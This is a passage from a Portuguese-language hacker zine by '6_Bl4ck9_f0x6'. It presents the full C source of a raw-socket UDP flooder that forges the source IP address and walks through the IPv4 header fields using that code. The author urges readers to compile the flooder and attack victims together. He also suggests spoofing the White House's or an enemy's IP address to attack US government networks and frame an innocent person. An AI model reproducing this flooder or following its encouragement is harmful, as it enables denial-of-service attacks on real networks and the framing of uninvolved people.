pois flood, eh flood. Como saber se o q vc esta fazendo eh flood? Se voce tiver "da sua maquina", mandando centenas d pacotes p/ uma ou algumas (hauhau!) portas na maquina da vitima (Mesmo sem ter as portas em escuta por la rss), e ela cair... Vc floodou ela. =) Vc chupou toda a memoria dela rsrs. A principal caracteristica do flood eh que voce esta brigando sozinho com a vitima, sacou? Se vc chamar outro amigo seu p/ "brincar", isso ai, alem d ser legal jah passa a ser D.D.o.S (Distributed Denial of Service), e... recusa de servico "distribuida" eh sacanagem ehehe Huahauh!! Que saudade dos velhos tempos Posseso =) Logo adiante voces terao um codigo de um programa flooder capaz de craftar/forjar o endereco IP de origem, assim voce nao eh rastreado ehehe. Compile e mande o codigos para seus amigos hauahuha!! Se juntem e mandem bala kkkkk!! Ah! lembrando que voces nao podem usar a versao 2.1 (a que crafta IP) do meu programa no windows (AAAAAAAAA [triste] rsrs), mas a versao 0.1 e a 0.5 voces podem usar deboa, tanto no windows quanto no linux. Ah! A versao 0.1 do Emp_Flood que eu postei la no thebuggers esta' totalmente perfeita, so compilar (gcc -o Emp_Flood Emp_Flood.c) e rodar, mas infe- lismente a versao 0.5 foi distribuida sem ser revisada :P ou seja, no linux vc vai ver o Warning de 'SOCKET_ERROR' ('¬¬') undeclared e mais 2 (Se nao me falha a memo- ria) Warning's chatos, mas nada que um programador em C nao possa resolver =) Ei!! Isso nao significa q vc nao possa compilar ele perfeitamente bem no windows usando o Dev-C++ link'ando a biblioteca winsock. Tools ---> Compiler Options --> Add these commands to the linker command line -> e la' voce digita '-l wsock32' e depois OK. ps: Meu compiler ta em ingles =7 Ah! -> Na versao 0.1 do Emp/flooder vc nao pode forjar o endereco de origem e ele nem resolve nomes de hosts, porque eu nao tinha implementado essas funcoes (Daaa! Claro, ariehgua! rsrs) ainda rsrs. Eu nao tinha falado isso? oO Antes de brincar com flood... [Dica] -> Tenha net rapida manoh! Veja o exemplo do sandimas/hash adaptado por mim que eu garanto a nocao do perigo ^^: O Hacker possui 150 MB/ps de largura de banda "disponivel" (Eita OO). A vitima possui uma conexao de 1.5 MB/ps. Quem vc acha que vai ganhar? ^^ Putz, show!! Flood Rulez! Eh importante lembrar que os programas "flood"ers normalmente sao programados (..?.. oO) para emitir datagramas (Uniao do modulo UDP ao header IP). No "smurf" rola UDP/ICMP, ou seja, tambem datagramas! Pois o header ICMP e encapsulado/multiplexado no modulo IP (ca- mada 'Rede' no modelo TCP/IP ;) Para maiores informacoes consulte a referencia mais re- ferenciada (hauhau!!!) do Brasil sobre encapsulamento de dados, a referencia -> [Pimba]. -- cut this file here -- /* * * ======================================= * ++++++ CORPORACAO VIBORA ++++++ * A cena Hacker Underground Brasileira * ======================================= * * Emperial Flooder[UDP] v2.1.1 * for "Unix/Linux" users rulez! * * * Simple UDP Flooder coded by 6_Bl4ck9_f0x6 * * Thanks to: UnixTextMode(UTM), VonNaturAustreVe, * @lyxx, Reeves, Deborah, Mina Mistery, Morticia, * Marcos Flavio, #phobia, Smurf Criminal_s, N1N4, * Hash, Violador and all guys from thebuggers.in * * ********************************************** * http://www.thebuggers.in * ********************************************** * Excelent Underground forum * ********************************************** * * Especial thanks to: * * All members Viper Corp Group. * */ #include // fprintf e tals. #include // Library p/ checagem de erros. #include // struct hostent e functions... #include // exit (), system () e tals. #include // bzero (), memcpy() e tals. #include // getuid (), close () e tals. #include // inet_addr e tals. #include // Neste header ficam shemales oO #include // sendto () e tals. #include // struct sockaddr_in, htons () e tals. #include // struct iphdr e tals. #include // struct udphdr e tals. #define MAXIMUM_TRANSMISSION_UNIT 1500 #define PRINT printf struct iphdr ip_rlz; struct udphdr udp_rlz; struct sockaddr_in Vitima; struct hostent *host; typedef unsigned char Viper_Corp_Rulez; Viper_Corp_Rulez pacote[MAXIMUM_TRANSMISSION_UNIT]; int SoCk, uid=0, indice=0, msg_s=0, XSS, x=1, bytes_send; char * ip_origeM; char * ip_destinO; int port_origeM; int port_destinO; void send_UDP (); int banner (); int main (int argc_rulez, char *Matrix[]){ if (argc_rulez < 7){ banner (); fprintf (stdout, "\nUso: %s \ \n\n", *Matrix); exit (-1);} uid=getuid (); if (uid != 0){ fprintf (stderr, " \n[Seu UID eh [%d], voce deve ser root para\ usar Raw Socket]\n\n", uid); exit (-1);} if ( (SoCk=socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1){ fprintf (stdout, "Erro ao criar socket\n"); exit (-1);} int num_msg_s; num_msg_s=atoi (Matrix[6]); ip_origeM=Matrix[1]; ip_destinO=Matrix[2]; port_origeM=atoi (Matrix[3]); port_destinO=atoi (Matrix[4]); char *msg;msg=Matrix[5]; bzero (pacote, MAXIMUM_TRANSMISSION_UNIT); ip_rlz.version=4; ip_rlz.ihl=5; ip_rlz.tos=0; ip_rlz.id=htons (666); ip_rlz.ttl=255; ip_rlz.frag_off=0; ip_rlz.check=0; ip_rlz.protocol=IPPROTO_UDP; ip_rlz.saddr=inet_addr (ip_origeM); ip_rlz.daddr=inet_addr (ip_destinO); ip_rlz.tot_len=htons (sizeof (struct iphdr) + sizeof (struct udphdr) + strlen (msg)); udp_rlz.dest=htons (port_destinO); udp_rlz.source=htons (port_origeM); udp_rlz.len=htons (sizeof (udp_rlz) + strlen (msg)); Vitima.sin_family=AF_INET; Vitima.sin_port=udp_rlz.dest; Vitima.sin_addr.s_addr=ip_rlz.daddr; memcpy (&pacote, &ip_rlz, sizeof (struct iphdr)); indice=indice + sizeof (struct iphdr); memcpy (&pacote[indice], &udp_rlz, sizeof (struct udphdr)); indice+= sizeof (udp_rlz); memcpy (&pacote[indice], msg, strlen (msg)); indice+= strlen (msg); for (x;x <= atoi (Matrix[6]);x+=1){ send_UDP (); msg_s++;} close (SoCk); PRINT ("\n--- Estatisticas e infos do ataque -------------\n\n"); PRINT ("Total de bytes enviados: [%d]\n", (strlen (Matrix[5]) * msg_s)); PRINT ("----------------------------------------\n"); return (0); } void send_UDP (){ if ((XSS=sendto (SoCk, pacote, indice, 0, (struct sockaddr *)&Vitima, sizeof (struct sockaddr_in)) ) == -1){ fprintf (stdout, "%s", strerror (errno)); exit (-1);} } int banner (){ int cOc=0; system ("clear"); char *banner[]={ "[=] + ===========[####]============ + [=]\n", " *** Emperial Flooder[UDP] *** \n", " XxX VIPER CORP GROUP XxX\n", " <-> Underground Max <->\n", "[=] + ==========[####]============ + [=]\n\n"}; while (cOc != 5){ printf ("%s", banner[cOc]); ++cOc;} return 0;} -- cut here -- [Pimba] Referencias escritas por mim sobre o modelo OSI & TCP/IP To mandando ae p/ voces dois link's. Caso um deles fique off, vc's podem tentam o outro e tals. Caso os 2 links algum dia fiquem off, procurem meu nick no google, pois sempre estarei divulgando minhas apelacoes =7 Meu nick soh tem 13 bytes gente, bem facim d de- corar ele ^^ 6_Bl4ck9_f0x6 rulez! [OSI & TCP/IP] [1] - http://wWw.hunterhacker.xpg.com.br/Encapsulamento_OSI_&_TCP-IP.txt [2] - http://wWw.hunterhacker.xpg.com.br/Encapsulamento_OSI_&_TCP-IP.txt <- Coincidencia? =) -----[ http://wWw.hunterhacker.xpg.com.br/txt4.rar ]----- Falow... []'s by 6_Bl4ck9_f0x6 - Viper Corp Group ----- C4p1Tul0 07 [=] + =============================================== + [=] O header IP v4 + UDP e seguimentos - PARTE 1 [=] + =============================================== + [=] Bem, como sempre escrevo codigos de programas p/ envio de dados pela internet, nada mais obvio q falar sobre o IP, q eh o protocolo utilizado para 'transportar' dados, no TCP/IP. Considero o TCP/IP melhor q o IPX/SPX, ate pq o TCP/IP eh o protocolo de comunicacao padrao da internet :P Agora uma pergunta pode aparecer, digamos que seja essa: Po meu, p/ q eu quero saber isso? Eim??? 1 - Resposta "nada" tentadora: Bem, se voce eh daqueles caras q gostam de saber como a internet funciona, se voce realmente tem interesse nisso, eu recomendo. 2 - Resposta "bem" tentadora }=) Bem, se voce eh daqueles caras que gostam d saber como a internet funciona, se voce realmente tem interesse nisso, eu recomendo. PORQUE SE VOCE SABE COMO FUNCIONA VOCE TAMBEM VAI SABER COMO BURLAR! ehehheheheh!! Risada satanica: Huahuahhhauhsuhaushu!! Se voce conhece todos os detalhes de um determinado assunto, isso significa que vc pode evoluir esse tema e ainda de quebra vai saber BURLAR ESSE ASSUNTO HAUHUAHAUH!! Normalmente eh assim amigo, se voce sabe como funciona, entende bem do esquema, vc tambem vai conhecer as deficiencias e essas coisas ;) Vamos pre-julgar aqui q voce ja tenha uma nocao basica do que seja o IP, se vc for bem iniciante gostaria de lhe recomendar o meu primeiro livro "Hacker", um dos livros mais famosos que o Marcao escreveu (Ele foi entrevistado na edicao passada! - Vejam a entrevista!!). Estou me referindo ao: -------['Guia do Hacker Brasileiro.']------- Baixem o e-book deste livro aqui: http://wWw.hunterhacker.xpg.com.br/Guia.do.Hacker.brasileiro.Comunidade_HackerBug.pdf.zip Neste ebook vc vai saber o q eh mascara de subrede (netmask) e o q eh endereco d rede rsrs... hauhaua!!! O IP eh Basicamente composto por, dados que serao utilizados para identificar o remetente (Vamos forjar =) e destinatario do pacote, e por mais algumas coisas q o pacote IP precisa p/ trafegar na internet, e... Ele possui um seguimento onde vao conter os dados que estao vindo da camada superior e tals. Tecnicamente fa- lando, cada "modulo IP" possui uma identificacao ehehhe!! Para conhecer o esquema de "enderecamento", veja o e-book acima! Continuando... O header/cabecalho IP é simples, olhe abaixo e veja seus respectivos seguimentos (Ah!! Seguimento e "cada" parte que compoe o cabecalho). Ah! Antes eu gostaria de lhes dizer que nomeei a ilustracao do header seguindo o seguinte criterio: +------------------------------+ | - Nome do seguimento - | +------------------------------+ |[ Identificador na estrutura ]| |[ Tamanho do seguimento ]| <--------- Onde tiver bit \O/!! Claro!! +------------------------------+ Acho que nem precisa falar neh? mas como esse texto eh para bgners la vai: ps: Como vc's irao ler no e-book q recomendei acima, o IP eh um endereco representado por numeros separados por ponto (1.2.3.4), cada numero desse eh chamado de octeto e vai de 0 a 255, mas voce so vai poder usar de 1 a 254... Bah! Leiam o e-book ai em cima! Enfim, se voce nao souber disso, la vai: '1' byte e composto por 8 bits, meu Deus! Que surpresa! '¬¬' E o IP possui 32 bits de tamanho! ¬¬ Tabom, eee dai? Agora leia isso: *************************** * Burlando filtros de URL * *************************** -------[ http://wWw.hunterhacker.xpg.com.br/Furando_URLs.txt ]------- Se esse link tiver off, procure este texto aqui: -------[ http://wWw.darkers.com.br ]------- Cabecalho IP versao 4 +---------------^-------------^--------------------------^------------------^ | - Versao - | - IHL - | - ToS Tipo de servico - | - Tamanho total- | | [ Version ] | [ IHL ] | [ ToS ] | [ tot_len ] | | [4 Bits] | [ 4 Bits ] | [ 8 Bits ] | [16 Bits] | +---------------------------------------------------------------------------+ | - Identificacao - | - Flags - | Fragment offset | | [ ID ] [ 16 Bits ] | [ 3 bits ] | [ frag_off ] [13 bits] | +---------------------------------------------------------------------------+ | - Time to Live - | - Protocolo - | - Checksum do header IP - | | [ ttl ] [8 bits] | [ Protocol ] [ 8 bits ] | [ check ] [16 bits] | +---------------------------------------------------------------------------+ | - Endereco de origem (Source Address) - | | [ saddr ] [ 32 bits ] | +---------------------------------------------------------------------------+ | - Endereco de destinacao. (Destination Address) - | | [ daddr ][ 32 bits ] | +---------------------------------------------------------------------------+ | - Opcoes - | Padding | | [ 24 bits (Ui!) ] | [ 8 bits ] | +---------------------------------------------------------------------------+ | | + - DADOS - + | | +---------------------------------------------------------------------------+ struct: struct iphdr { #if __BYTE_ORDER == __LITTLE_ENDIAN unsigned int ihl:4; unsigned int version:4; #elif __BYTE_ORDER == __BIG_ENDIAN unsigned int version:4; unsigned int ihl:4; #else # error "Please fix " #endif u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; /*The options start here. */ }; Ops, ja ia esquecendo de dizer. Vou citar primeiramente os seguimentos mais faceis de serem entendidos. Nao vou seguir nenhuma ordem, quero dizer, a ordem deste dia- grama acima (Esse quadrinho bonitinho - "Bonitinho" se voce tiver vendo este texto com algum browser ou editor de textos que preste :P). Ah! Outro detalhe: ---[ CONHER HEADERS Eh O PRIMEIRO PASSO PARA A PROGRAMACAO DE RAW SOCKET'S ]--- ---> Fazer sniffers, e essas malandragens devem lhe interesar }=) <--- No qual escreverei sobre, em um futuro BEM PROXIMO ;) Veja a struct deste cabecalho: Defined in: /usr/include/netinet/ip.h <---- Depende da distro Linux ;) Que tal entendermos um pouco do codigo do Emperial Flooder? Se voce quiser aprender o tal do 'Raw Socket' tu teras q conhecer os seguimentos dos protocolos da suite TCP/IP, o IP tb faz parte dessa suruba ae chamada de TCP/IP, voce sabia dissu? Aprenda isso amigo, pois tu vai ter que inserir tudo manualmente daí... ;) Lembre-se que utilizei a seguinte variavel estrutura para referenciar os seguimentos do cabecalho IP (Definidos em iphdr): ip_rlz Ou seja: struct iphdr ip_rlz; Vai! vai! vai! Version - Versao ip_rlz.version=4; <--- Versao 4 =7 Este seguimento especifica a versao do cabecalho IP que estamos enviando. Nesse caso eh a versao 4. Ei ei ei, aguardem o IPv6 errasar huahau! Podem esperar amigos! Um dia ele vai! Busquem infos sobre ele na internet, aqui ta rolando uma aulinha do IP v4 =) Ah!! Especi- ficamos na struct um valor numerico como 4 ou '6'(?), e como voces devem saber, a placa d rede (antes de enviar o pacote) converte o pacote em bits ([0 e 1] - 0's e 1's rsrs Cisco ruleZ! =), tabom e dai? Converta o numero decimal 4 em binario q voce tera' 100, lembram que este seguimento eh de 4 bits? Entao ele vai ser trafegado como 0100, porque o kernel coloca os 0's automaticamente antes dos binario NAO EXATOS, neste caso ele so vai 'poder' colocar mais um 0 A ESQUERDA, porque o seguimento eh de 4 bits, entendeu? Entao, a versao do IP vai ser trafegada como 0100 para IP versao4 ( ;) e 0110 para a v6. Por que vc iria querer saber isso? Simples, eu apenas estou "valorizando" meu texto sobre "como" Burlar filtros d URL (Burlando filtros d URL), no qual estou explicando detalhadamente o proces- so de conversao d binario p/ decimal e vice-versa, fazendo calculos na unha e na calcula- dora. Alem de legal vc saber como os dados sao enviados, e tambem legal vc ter uma certi- ficacao, q tal a da cisco? Isso mesmo amigo! Eles exigem q voce saiba converter as coisas por la'! Se vc tiver dinheiro para fazer as provas ( ¬¬ :P ) e esse conhecimento, vai se dar bem... O capitalismo fede =( Assim vai ficar mais facil voce arrumar um emprego e nao vai precisar ficar limpando conta bancaria dos outros! Apesar d termos algumas possibili- dades d versoes p/ IP (Faca as contas e veja quais os numeros decimais q cabem em 4 bits! Leia meu texto! rsrs... =), atualmente temos duas, que sao: 4 e 6(?). IHL - Internet Header Length - Comprimento do cabecalho internet ip_rlz.ihl=5; <--- Ta assim no Emperial Flooder. Bem, este campo determina o comprimento do cabecalho IP em... como todos nao cansam de falar por ai: "Palavras de 32 bits". Esse termo eh derivado do WORD/palavra (16 bits) e DWORD palavra dupla ('double word' - 32 bits), ambos integrantes do jargao do assembly. Enfim, repare nos bits do diagrama acima, veja que cada fileira eh composta por linhas d 32 bits. Basta fazer a soma: [1] = Primeira fileira Version IHL ToS tot_len 4 Bits + 4 Bits + 8 Bits + 16 Bits = 32 bits (4 bytes) [2] = Segunda fileira ID flags frag_off 16 Bits + 3 bits + 13 bits = 32 bits (4 bytes) .... E por ai vai. Entao, este seguimento "por padrao", ou seja, se nenhuma opcao for "especificada", vai possui o valor '5'. Lembre-se de que ele armazena o comprimento do cabecalho IP em multiplos de --> "4 bytes". Entao: 4 * '5' = 20 bytes. Para voce saber quantos bits existem em um determinado numero de bytes, basta vc multiplicar o numero de bytes por 8, q eh o numero de bits que formam 1 byte. Vamos ver quantos bits existem em 20 bytes. 20 * 8 = 160. Agora some os bits das cinco primeiras filas do cabecalho IP. 32 * 5 = 160. Viu? Simples =) 32 bits vezes 5 fileiras = 160 bits q eh igual a 20 bytes. Mas espera ai! Existem mais duas fileiras! Calma parceirao, se voce utilizar as tais das "opcoes", o tamanho do cabecalho IP vai "aumentar" sim, para "contornar" (bypass) isso, basta especificar um numero que multiplicado por 4, de no maximo 60 bytes, pois este se- guimento eh de 4 bits... ou seja, eh permitido apenas 1 numero decimal ateh no maximo 15 eheh, acabei de falar qual eh o maximo ;) Veja na calculadora q o 15 em decimal equivale ao numero binario: 1111 <-- 4 bits, que eh o tamanho do seguimento ;) Entao: 15 * 4 = 60 bytes, e 60 bytes sao suficientes para acomodar os bits acrescentados quando opcoes sao inclusas no header IP "e tals" :) ToS - Type of Service ip_rlz.tos=0; <--- O zero indica que nao vamos usar flags (0 = desligado) =7 O seguimento Type of Service (Tipo de Servico) especifica como o pacote vai ser manipulado pelos roteadores por onde o dito cujo passar. Nos podemos indicar a rota do pacote sinali- zando isso no campo ToS (Olha eu outra vez =), indicar a rota d nosso pacote aos roteadores ( rsrsr! ) sem duvida eh bem interessante, se nao fosse pelo pequeno detalhe de q a maioria das implementacoes de routers nao permitem a nos, darmos indicacoes a eles por onde enviar os pacotes recebidos ( Huahau!! Professor rulez! =). Router q ignora este campo eh chato :( da vontade de falar palavroes, la vai: Pinto! Outros dois imundos palavroes: Peito!! Bunda!! rsrs! Basicamente este seguimento aceita 4 flags (QUE SERAO USADAS PARA FAZER OS ROUTERS QUE RECEBEREM NOSSOS PACOTES, ENVIAREM OS MESMOS PARA UMA DETERMINADA ROTA =O). Podemos utilizar essas tais flags p/: [1] - Minimizar custo. [2] - Minimizar atraso. [3] - Maximizar desempenho. [4] - Maximizar confiabilidade. Nao vou entrar em detalhes sobre esse tema, falar sobre as flags neste txt retira o focu principal do mesmo (Me diga algum texto que escrevi q nao perdeu o focu. rsrss... \O/!). Ai ai, pena q esse negocio de ToS pode nao rolar como nos esperamos... \O/!!! tot_len (Total length) - Tamanho/Comprimento total ip_rlz.tot_len=htons (sizeof (struct iphdr) + sizeof (struct udphdr) + strlen (msg)); <--- =7 Esse campo eh um tanto quanto "exagerado", voces vao entender. Bem, esse campo eh de 16 bits, isso seria o suficiente p/ representar o tamanho maximo d um pacote q pode trafegar na internet (TCP/IP e tals), que eh de '65.535' bytes, isso dai em binario "realmente" daria 16 bits pq a representacao binaria maxima para representar esse numero decimal eh 1111111111111111 que eh igual a 16 bits. Tabom, e dai? 65.535 bytes em 1 pacote zanzando na internet eh meio que... dificil de achar? Tabom, eu explico, ja to ficando velho de tanto repetir isso, mas... La vamos nos MAIS UMA VEZ (O basicao do MTU, Aff!): Os dispositivos de rede (Placa d rede por exemplo :) trabalham enviando e recebendo da- dos, OO jura? rsrs Mas... Eles possuem um limite de dados que podem ser ENVIADOS e um limite de dados que podem ser RECEBIDOS (Se for muito grande, ae nao da, porra, iii sai pra la, eu sou espada :P), o que determina a quantidade de bytes Maxima q podem ser en- viados (<-- ui) e q podem ser recebidos "por vez" eh chamado de MTU, que "Curiosamente" significa Maximum Transmission Unit - "Unidade" (1 pacote ehhe =) de transMISSAO (Beijo galera da 'trans'MISSAO =) maxima, bem, eu disse que esse nome era bem curioso, nao sei porque eles colocaram esse nome :P rsrs... Deve ser porque condiz com a realidade. Esse numero eh setado em bytes, e cada interface possui um MTU padrao. Vejamos alguns MTU's default. +---------------+-----------+ | Rede | MTU Bytes | +---------------+-----------+ |PPP | 296 | +---------------+-----------+ |x.25 | 576 | +---------------+-----------+ |IEEE 802,3 | 1492 | +---------------+-----------+ |Ethernet | 1500 | <--- Eu entendo bem desta aqui =) +---------------+-----------+ |FDDI | 4352 | +---------------+-----------+ |4Mb Token Ring | 4464 | +---------------+-----------+ |16Mb Token Ring| 17914 | +---------------+-----------+ |Hyperchannel | 65535 | <--- Unidade de transferencia maxima. +---------------+-----------+ Mais que isso aqui, vai, dar, pau..:) Fonte: Tech-FAQ (Me processem rsrs... =) Vale lembrar que, NORMALMENTE, nos "podemos" alterar o MTU de nossa interface de rede se assim quisermos. Enfim, se nos estivermos em uma rede Ethermet (eth0) e fizermos uma aplicacao capaz de enviar dados atravez da rede, e esses dados por algum acaso excederem o tamanho da MTU de nossa rede, os dados serao entregues em pedacos. Infelizmente para o proposito de envio de datagramas, ultrapassar a MTU da rede nao eh uma boa, ou seja, UDP nao faz gerenciamento de 'sequencia' de pacotes. Exemplo, se enviarmos um datagrama de 2000 bytes, ele sera' dividido em 2, ou seja, o pacote vai ser entregue em 2 "fragmentos" tendo como tamanho d bytes para o primeiro, a taxa d transmissao (Envio) maxima permitida pela rede. No recebimento eh o mesmo esquema. Isso foi o basico e nao estou "falando" de nada "perigoso". Ei! Amigos! Esperem meu tao esperado ( ? ) texto sobre fragmentacao! Mas acho que eu nao vou falar mais de MTU :( Creeedo! Para saber mais sobre 'MTU' faca isso: Internet! (Felizardo! ¬¬). Recomendo q vc tambem procure meu texto sobre socket em C la no dk, para ter mais algumas infos de fragmentacao e... MTU :P Muito provavelmente voce ja ouviu falar que, o limite de um pacote eh de 65535 bytes, isso se dar pelo fato de q, o seguimento tot_len no header IP eh de 16 bits! Tan dam! Surpresa! Ei, eu ja falei isso ¬¬ Enfim! Ja q estamos relembrando o q escrevi a cinco linhas, pensem bem... Humm... De q adianta esse seguimento ser de 16 bits se o diabo do MTU so manda 1500 bytes, tomando como base as redes Ethernet que misteriosamente sao maioria na internet... Voce! eh, voce mesmo, vc que esta' olhando p/ o txt agora, voce sabia que voce pode estar usando uma Interface/Placa d rede Ethernet? Naao? Pois eh, desses 65.535 bytes, vai passar 1.500 p/ a vitima, depois vai mais 1.500, etc. ( Entendeu porque nao eh muito viavel o 65.535 bytes? ) Isso eh, se for por TCP, tipo, ele vai, vai aos poucos, esses pedacos/fragmentos vao ser remontados la na vitima, e tals, depois ela vai ter um pacotao inteirinho soh pra ela =), mas... Se o envio for por UDP, fique preocupado cara, nao sabemos se o pacote vai chegar inteiro se a fragmentacao rolar. Ja falei o porque... PS: "NORMALMENTE" NOS PODEMOS CONFIGURAR NOSSOS MTU's, qual sera' o limite maximo? =) Ei, vamos ver se voces sao espertos, vou fazer uma perguntinha. Ja que estamos trabalhando com raw socket, temos que passar manualmente os dados de tamanho total (que vai ser em de- cimal) para o campo tot_len (\O/! isso eh obvio) da struct do cabecalho IP, entao, ja que, este campo tem que ter o tamanho "total" do pacote, quais os compos que temos que somar p/ passarmos para esse elemento da estrutura o valor total? Tick! Tack! Tick! Tack! Ti... Se voce respondeu, Header IP + Header TCP/UDP + dados/payload... Ganhou um beijinho da ra- posa mais velhaca do Brasil! Eu! Que viadagem... :P Sai pra la Huahuah! Porque? Putz, voce nao viu o fonte lah em cima nao, cara? Repara como e q funciona o modelo TCP/IP. Manoh, p/ complementar, estude isso: --> wWw.hunterhacker.xpg.com.br/Encapsulamento_OSI_&_TCP-IP.txt Ei (vc diZ)! Ei, como eu vou pegar o tamanho dos headers + dados? Simples cara, faca isso: -- cut -- ... char dados[]="Ei ei ei, eu sou o payload!"; struct iphdr ip_rlz; struct udphdr udp_rlz; ... ip_rlz.tot_len=htons (sizeof (struct iphdr) + sizeof (struct udphdr) + strlen (dados)); ... -- cut -- Voce nao precisa preencher os dados DAS ESTRUTURAS para poder passar o tamanho dos headers, pois cada elemento das estruturas iphdr (IP) e tcp/udp - hdr (TCP - UDP) ja' possuem tama- nhos pre-definidos (como voce ja sabe) e isso significa que podemos setar o 'tot_len' de qualquer parte de nosso codigo (Eh recomendado antes de definir os dados :P - Se vc quiser enviar dados ;). Agora voce deve estar se perguntando porque diabos nos precisamos definir o tamanho total do pacote, bem, essa eh facil! Cada header tem um tamanho maximo, se estamos programando em raw devemos inserir o tamanho total d cada header (ond sera q escrevi isso?), entao isso significa que essas informacoes sao utilizadas no processo de desmultiplexacao do datagrama, assim o host remoto sabe onde comeca e onde termina o header UDP por exemplo, assim desmultiplexando apenas os bytes referentes a ele e depois mandando o payload para a camada superior da pilha no modelo TCP/IP =) Ah!! Um pacote, pode conter dados, ou nao... Muuuito facil =7 ID - Identificacao ip_rlz.id=htons (666); <--- =7 TTL - Time to Live - Tempo de Vida ip_rlz.ttl=255; <---- =7 Aqui esta uma paradinha engenhosa... Se este seguimento nao existisse quando algum es- pertinho mandasse um pacote com um endereco IP de destino "inexistente", o router dele enviaria o dito cujo, o proximo roteador iria passar p/ outro, o outro iria mandar p/ o outro, mas... Este IP nao existe, o que aconteceria? Teriamos varios roteadores jo- gando o mesmo pacote p/ cima e p/ baixo procurando a melhor rota p/ a entrega rsrss... Que burros :P Mas nao se preocupe, pois para evitar isso foi criado o seguimento TTL! Eh bem simples de entender a utilidade dele rsrsr. Quando enviamos o nosso pacote com o TTL 10 por exemplo, cada router por onde o nosso pacote passar vai retirar 1 desses 10 de TTL, ou seja, cada router vai tirar uma casquinha rsrs... Entao, p/ cada router que o pacote passar, eh decrementado um neste seguimento, quando o valor de TTL chega a '0' (zero) o pacote eh entao discartado e o remetente do pacote recebe um pacote ICMP do tipo time exceeded (Tempo excedido), ou por TCP "ou" por UDP, ei! Isso signi- fica q ambos os modulos de transporte encapsulam o (ICMP) mesmo =) Nao chegou a hora de falarmos d ICMP agora, por isso saiba q eh emitido ao remetente do pacote um 'Time exceeded' da vida. Por este seguimento ser de 8 bits, nos podemos especificar d 0 a no maximo 255 em decimal, ou seja, este pacote nao chegara' a passar por 256 roteadores nem com poder d reza brava, Clamp, Clamp, Clamp <- D onde diabos eu tirei esse negocio de Clamp, Clamp? Protocol - Protocolo ip_rlz.protocol=IPPROTO_UDP; <--- =7 Equi q definimos o numero do protocolo q sera' utilizado. P/ saber o numero ID (Iden- tificador) dos protocolos veja meu txt de socket: Link: http://wWw.hunterhacker.xpg.com.br/socket_ohhh_yes.txt ou veja esse file no linux: /etc/protocol ou ateh mesmo (se voce tiver no winsux!) ae \windows\system32\drivers\etc\protocol . Enfim, IPPROTO_UDP ou 17, no caso do UDP :) 17 eh enviado com binario rapa', noosa q coisa nao? Para q especificar isso? Simples, p/ ajudar na desmultiplexacao do datagrama (UDP. Nesse caso) na maquina remota. Quan- do a vitima recebe o pacote o modulo IP na maquina dela vai verificar qual o protoco- lo q aquele pacote trabalha, se o 'modulo IP' encontrar o numero 17 (10001) ele entao vai mandar o pacote p/ o modulo UDP q esta' acima deste, se ele ler o numero 6 (110), ele vai mandar p/ o modulo TCP, q esta' acima deste, os modulos TCP e UDP por sua vez vao mandar o resto dos dados q nao foram desmultiplexados p/ a camada superior ( Pro- gramas - Aplicacoes =). Espero q estes exemplos "basicos" estejam lhe ajudando... Eh importante q vc tenha em mente q, quando mandamos 1 pacote e preenchemos manualmente alguns d seus seguimentos, os tais vao ser desmultiplexados pelos seus respectivos seguimementos "desmultiplexadores" no modulo correspondente, na maquina remota, ouuuu seja, p/ escrever um pacote, o modulo IP usa uma face, p/ ler, este mesmo modulo vai usar sua outra face. Imagine este modulo e o modulo TCP/UDP e afins, como uma moeda d dois lados. saddr - Source Address (Endereco de origem) ip_rlz.saddr=inet_addr (ip_origeM); <--- =7 AAAAAAAAAAAAAAeeeeeeeeeeeeeeee!!!! Ta aqui a malandragem!!!!! Que tal voces mandarem um pacotinho com o IP da White House? Ou mandar um pacotinho (ou centenas! }=) com o IP daquele seu inimigo chato. Vc's sabiam que o hacking nos estados unidos eh consi- derado terrorismo? Q bom saber q eu vou ser 1 dos mais famosos terroristas do mundo. E Brasileiro! =7 Enfim, se voces estiverem nessas redondezas voces podem atacar uma rede (Com o emperial flooder eheh) do servico secreto americano, forjando o endereco 'IP' de origem, os caras vao bater la na caso do "coitado" q voce usou o IP =7 daddr - Destination Address (Endereco de destinacao) ip_rlz.daddr=inet_addr (ip_destinO); <--- =7 Aqui que especificamos o endereco da vitima. Quem vai receber o pacote. Soh p/ ser um complemento maior, veja esse outro diagrama abaixo e veja a parte do codigo do Emperial que organiza as coisas para tudo ficar de acordo com esse diagrama. ======---------=======--------===== Ordem de desmultiplexacao e tals ======---------=======--------===== Vamos entender agora a parte do codigo que mais confunde os iniciantes em raw socket, a tal da ordem de "desmultiplexacao" do pacote. Bem, voce vera que nos primeiramente copiamos os dados referentes a estrutura IP para a variavel 'pacote', em seguida copiamos os dados onde contem os seguimentos p/ o modulo UDP e finalmente copiamos os dados/payload p/ o final do pacote (Variavel) que sera' enviado ('sendto ()'). Lembrando q um pacote pode conter dados ou nao e pode tanto trabalhar com o modulo TCP quanto com o modulo UDP (Este ultimo, sera' o utilizado por nos aqui). Voce ira' entender o porque deste "Primeiramente" agora. Alguns acham q ensinar isso eh tao obvio q chega a ser perda de tempo, nao eh bem assim. Nem todas as pessoas possuem uma capacidade d interpretacao rapida, nem vou dizer inteligencia porque no hacking, nao existe esssa de ser mais inteligente que o outro, apenas existe o lance de imaginacao (Eu juro amigos!!), com imaginacao em poucos segundos nos intepretamos codigos de diversas formas e em uma das formas pensadas sera a mais obvia (Esperiencia propria). Se os textos filho da puta q eu li sobre raw socket, tivesem ensinado isso, com toda certeza eu nao estaria me dando ao trabalho de ensinar agora. A minha meta eh transformar o Brasil em um pais de hackers, e isso significa q meus irmaos terao tudo q nao existe no mercado =) Eu apenas 'quero' dar a vc's Hackers Novatos, uma chance de ter o que eu nao tive e o q eu nao tenho, em todos os sentidos, principalmente ao q se refere a "Conhecimento mastigado". Let's go! ------------------------- Application Layer /\ Payload/Dados ---- > O ultimo dado desmultiplexado (payload). /__\ ------------------------- || Transporte || TCP - UDP - RAW ---- > Depois vem o modulo UDP (OU TCP) =7 || ------------------------- || Modulo IP ---- > Primeiramente o modulo IP, esta' vendo? || [Rede - OSI] || [Internet TCP/IP] || ------------------------- || ---- > ARP - Addres Resolution Protocol || Data Link (Enlace) || ------------------------- PHYSICAL Interface de rede ------------------------- Ja que estamos criando uma aplicacao que envia dados, entao... Temos que fazer esses dados emitidos por nos, serem desmultiplexados na ordem correta. Dizemos que um pacote esta sendo desmultiplexado, quando a interface de rede 